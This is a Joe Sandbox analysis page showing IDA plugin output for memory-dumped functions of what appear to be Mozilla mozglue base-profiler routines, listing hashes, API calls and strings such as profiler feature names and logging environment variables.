Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d11e717b6007201957159aa0b1f7adcd55f816dee032886300e1ad45eb37ef7
Instruction ID: 355ef18a9d9399525739b2858182438f8798fa1465275e1198988f733bda70e6
Opcode Fuzzy Hash: 1d11e717b6007201957159aa0b1f7adcd55f816dee032886300e1ad45eb37ef7
Instruction Fuzzy Hash: F0F139716087455FD700CEA8C8907AEB7E3AFC5318F188A2DE4D587781E7759CCA8B92

Function 6CA3C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 28969711b94c9986ff7d474d1bdd7f9564f61acd13abec331c8b705434c23831
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: E4A1A271F0062A8BDB08CE69C8913AEB7F2AFC8354F199229DD19E7781D7345D468BD0

Function 6CA77710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 44b1a918cd7dc7fd867003271045940a3f0ab795338feaa099cb3bae817655e4
Instruction ID: d25930f659083892c255324fb99583de6dcc91ad0fcf80f9214e98454f7b0e4e
Opcode Fuzzy Hash: 44b1a918cd7dc7fd867003271045940a3f0ab795338feaa099cb3bae817655e4
Instruction Fuzzy Hash: 07717D75E012198FCF19CFA9C8905EDBBB2FF89314F28816ED415AB740D731A985CBA0

Function 6CA758E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 45b4c08cd4335ad7b662b0bd539faa35d5ff42e6eeec3baebc1cfc912493d3e1
Instruction ID: 9c62e2d00dc2c67952c2551ca2568c6d78c9bf955f842015264b283c5ebd3d26
Opcode Fuzzy Hash: 45b4c08cd4335ad7b662b0bd539faa35d5ff42e6eeec3baebc1cfc912493d3e1
Instruction Fuzzy Hash: 60816D75A012199FCB14CFADD8809EEBBF2FF89314F644269D411AB741D731A985CBA0

Function 6CA7CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA4582D), ref: 6CA7CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA4582D), ref: 6CA7CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAAFE98,?,?,?,?,?,6CA4582D), ref: 6CA7CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA4582D), ref: 6CA7CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA4582D), ref: 6CA7CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA4582D), ref: 6CA7CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA4582D), ref: 6CA7CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA7CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA7CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA7CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA7CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA7CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA7CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA7CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA7CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA7CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA7CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA7CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA7CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA7CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA7CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA7CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA7CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA7CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA7CE8A

Strings

cpuallthreads, xrefs: 6CA7CE16
default, xrefs: 6CA7CC21
noiostacks, xrefs: 6CA7CCBE
screenshots, xrefs: 6CA7CCD4
java, xrefs: 6CA7CC37
seqstyle, xrefs: 6CA7CCE6
stackwalk, xrefs: 6CA7CCF8
ipcmessages, xrefs: 6CA7CDBE
preferencereads, xrefs: 6CA7CD92
processcpu, xrefs: 6CA7CE6E
markersallthreads, xrefs: 6CA7CE42
audiocallbacktracing, xrefs: 6CA7CDD4
mainthreadio, xrefs: 6CA7CC7C
nativeallocations, xrefs: 6CA7CDA8
leaf, xrefs: 6CA7CC66
unregisteredthreads, xrefs: 6CA7CE58
notimerresolutionchange, xrefs: 6CA7CE00
samplingallthreads, xrefs: 6CA7CE2C
Unrecognized feature "%s"., xrefs: 6CA7CEA0
fileioall, xrefs: 6CA7CCA8
fileio, xrefs: 6CA7CC92
power, xrefs: 6CA7CE84
jsallocations, xrefs: 6CA7CD0E
nostacksampling, xrefs: 6CA7CD7C

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 3e2fbc3f8fccfb31049ebabee629c43e5e0061b0f1379a8e00920031626bff00
Instruction ID: 1a0c39dd5e6ac316185a1ff03711727d1c8a1b6bf1146aa616b5fec69551daa7
Opcode Fuzzy Hash: 3e2fbc3f8fccfb31049ebabee629c43e5e0061b0f1379a8e00920031626bff00
Instruction Fuzzy Hash: F951EBDDA0522516FE6431552F10BAA6448FF1325EF14503AED0AA2F81FF05E6CF46BB

Function 6CA447C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA44801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA44817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA4482D
__Init_thread_footer.LIBCMT ref: 6CA4484A

Part of subcall function 6CA6AB3F: EnterCriticalSection.KERNEL32(6CABE370,?,?,6CA33527,6CABF6CC,?,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB49
Part of subcall function 6CA6AB3F: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA33527,6CABF6CC,?,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6AB7C

GetCurrentThreadId.KERNEL32 ref: 6CA4485F
GetCurrentThreadId.KERNEL32 ref: 6CA4487E
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA4488B
free.MOZGLUE(?), ref: 6CA4493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA44956
free.MOZGLUE(00000000), ref: 6CA44960
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA4499A

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

free.MOZGLUE(?), ref: 6CA449C6
free.MOZGLUE(?), ref: 6CA449E9

Part of subcall function 6CA55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA55EDB
Part of subcall function 6CA55E90: memset.VCRUNTIME140(6CA97765,000000E5,55CCCCCC), ref: 6CA55F27
Part of subcall function 6CA55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA55FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA44812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA44828
MOZ_PROFILER_SHUTDOWN, xrefs: 6CA44A42
[I %d/%d] profiler_shutdown, xrefs: 6CA44A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA447FC

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 6a3c4431f7873f20ee2521449aafde6e2842c276ce8cf53bf867c16b8029b0c5
Instruction ID: 0caaec69aeaadd417c13b9b1d8096b0b4d8bdfb00fe4a1cb757644fb931ac9e4
Opcode Fuzzy Hash: 6a3c4431f7873f20ee2521449aafde6e2842c276ce8cf53bf867c16b8029b0c5
Instruction Fuzzy Hash: 91813978A002018FDB04DF68D88875A7775BF42318F18C639E916A7B52D731E8D6CB9A

Function 6CA44470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA44730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA444B2,6CABE21C,6CABF7F8), ref: 6CA4473E
Part of subcall function 6CA44730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA4474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA444D2
InitOnceExecuteOnce.KERNEL32(6CABF80C,6CA3F240,?,?), ref: 6CA4451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA4455C
LoadLibraryW.KERNEL32(?), ref: 6CA44592
InitializeCriticalSection.KERNEL32(6CABF770), ref: 6CA445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA445BB
InitOnceExecuteOnce.KERNEL32(6CABF818,6CA3F240,?,?), ref: 6CA44612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA44636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA44644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA4466D
VerSetConditionMask.NTDLL ref: 6CA4469F
VerSetConditionMask.NTDLL ref: 6CA446AB
VerSetConditionMask.NTDLL ref: 6CA446B2
VerSetConditionMask.NTDLL ref: 6CA446B9
VerSetConditionMask.NTDLL ref: 6CA446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA446FD

Strings

WRusr.dll, xrefs: 6CA444B5
kernel32.dll, xrefs: 6CA444CD
NativeNtBlockSet_Write, xrefs: 6CA446F7
user32.dll, xrefs: 6CA44557, 6CA4463F
l, xrefs: 6CA44578

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: ccdece9e208fed8ba80f104e2f8adad176c30e4878f3d11c1a73ffa0b8c96663
Instruction ID: 8b045d375df9ead7de07d9bc0fd6a178bb1f3ade87bb20d30ebab86bd834267f
Opcode Fuzzy Hash: ccdece9e208fed8ba80f104e2f8adad176c30e4878f3d11c1a73ffa0b8c96663
Instruction Fuzzy Hash: E26125B8A00345AFEF048F64DC49B957BB8FB46308F18C19CE504AB661D7B199C6CFA5

Function 6CA7E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA77090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CA7B9F1,?), ref: 6CA77107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA7DCF5), ref: 6CA7E92D
GetCurrentThreadId.KERNEL32 ref: 6CA7EA4F
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EA5C
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EA80
GetCurrentThreadId.KERNEL32 ref: 6CA7EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CA7DCF5), ref: 6CA7EA92
GetCurrentThreadId.KERNEL32 ref: 6CA7EB11
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CA7EB3C
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EB5B

Part of subcall function 6CA75710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA7EB71), ref: 6CA757AB

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CA7EBAC

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

GetCurrentThreadId.KERNEL32 ref: 6CA7EBC1
AcquireSRWLockExclusive.KERNEL32(6CABF4B8,?,?,00000000), ref: 6CA7EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CA7EBE5
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8,00000000), ref: 6CA7EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA7EC46
CloseHandle.KERNEL32(?), ref: 6CA7EC55
free.MOZGLUE(00000000), ref: 6CA7EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CA7EA9B
[I %d/%d] profiler_start, xrefs: 6CA7EBB4

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 0ab3072000f0a4f1e42e7ec4e43c248d2c05e5ccf7b96476eeb09526a46beb8f
Instruction ID: f71513bcb881d0848737659e161e8cb20c0699459363ef0f78fbc3bbfbbd05e3
Opcode Fuzzy Hash: 0ab3072000f0a4f1e42e7ec4e43c248d2c05e5ccf7b96476eeb09526a46beb8f
Instruction Fuzzy Hash: B5A17D3D7013058FCB149F68D884B96B7B5FF86308F18812DE91987B61DB70989AC7B5

Function 6CA7F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CA7F8F9

Part of subcall function 6CA46390: GetCurrentThreadId.KERNEL32 ref: 6CA463D0
Part of subcall function 6CA46390: AcquireSRWLockExclusive.KERNEL32 ref: 6CA463DF
Part of subcall function 6CA46390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA4640E

ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7F93A
GetCurrentThreadId.KERNEL32 ref: 6CA7F98A
GetCurrentThreadId.KERNEL32 ref: 6CA7F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7F716

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

Part of subcall function 6CA3B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CA3B5E0

GetCurrentThreadId.KERNEL32 ref: 6CA7F739
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7F746
GetCurrentThreadId.KERNEL32 ref: 6CA7F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAB385B,00000002,?,?,?,?,?), ref: 6CA7F829
free.MOZGLUE(?,?,00000000,?), ref: 6CA7F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CA7F866
free.MOZGLUE(?), ref: 6CA7FA0C

Part of subcall function 6CA45E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA455E1), ref: 6CA45E8C
Part of subcall function 6CA45E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA45E9D
Part of subcall function 6CA45E60: GetCurrentThreadId.KERNEL32 ref: 6CA45EAB
Part of subcall function 6CA45E60: GetCurrentThreadId.KERNEL32 ref: 6CA45EB8
Part of subcall function 6CA45E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA45ECF
Part of subcall function 6CA45E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CA45F27
Part of subcall function 6CA45E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CA45F47
Part of subcall function 6CA45E60: GetCurrentProcess.KERNEL32 ref: 6CA45F53
Part of subcall function 6CA45E60: GetCurrentThread.KERNEL32 ref: 6CA45F5C
Part of subcall function 6CA45E60: GetCurrentProcess.KERNEL32 ref: 6CA45F66
Part of subcall function 6CA45E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA45F7E

free.MOZGLUE(?), ref: 6CA7F9C5
free.MOZGLUE(?), ref: 6CA7F9DA

Strings

" attempted to re-register as ", xrefs: 6CA7F858
Thread , xrefs: 6CA7F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CA7F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6CA7F71F

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 717f4791e76da3cd38005b7b621f18600bf42553ccd4e4303e863fbd2fda6478
Instruction ID: 53145beaef8fee1ae7d6b1957054234135fb1b54f061ad3071b11d6ff3c92b77
Opcode Fuzzy Hash: 717f4791e76da3cd38005b7b621f18600bf42553ccd4e4303e863fbd2fda6478
Instruction Fuzzy Hash: F78126796043009FDB10DF64C940AAAB7B5FF85308F45852DE84997B61EB30E98DCBA2

Function 6CA7EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7EE60
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EE6D
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA7EEA5
CloseHandle.KERNEL32(?), ref: 6CA7EEB4
free.MOZGLUE(00000000), ref: 6CA7EEBB
GetCurrentThreadId.KERNEL32 ref: 6CA7EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7EECF
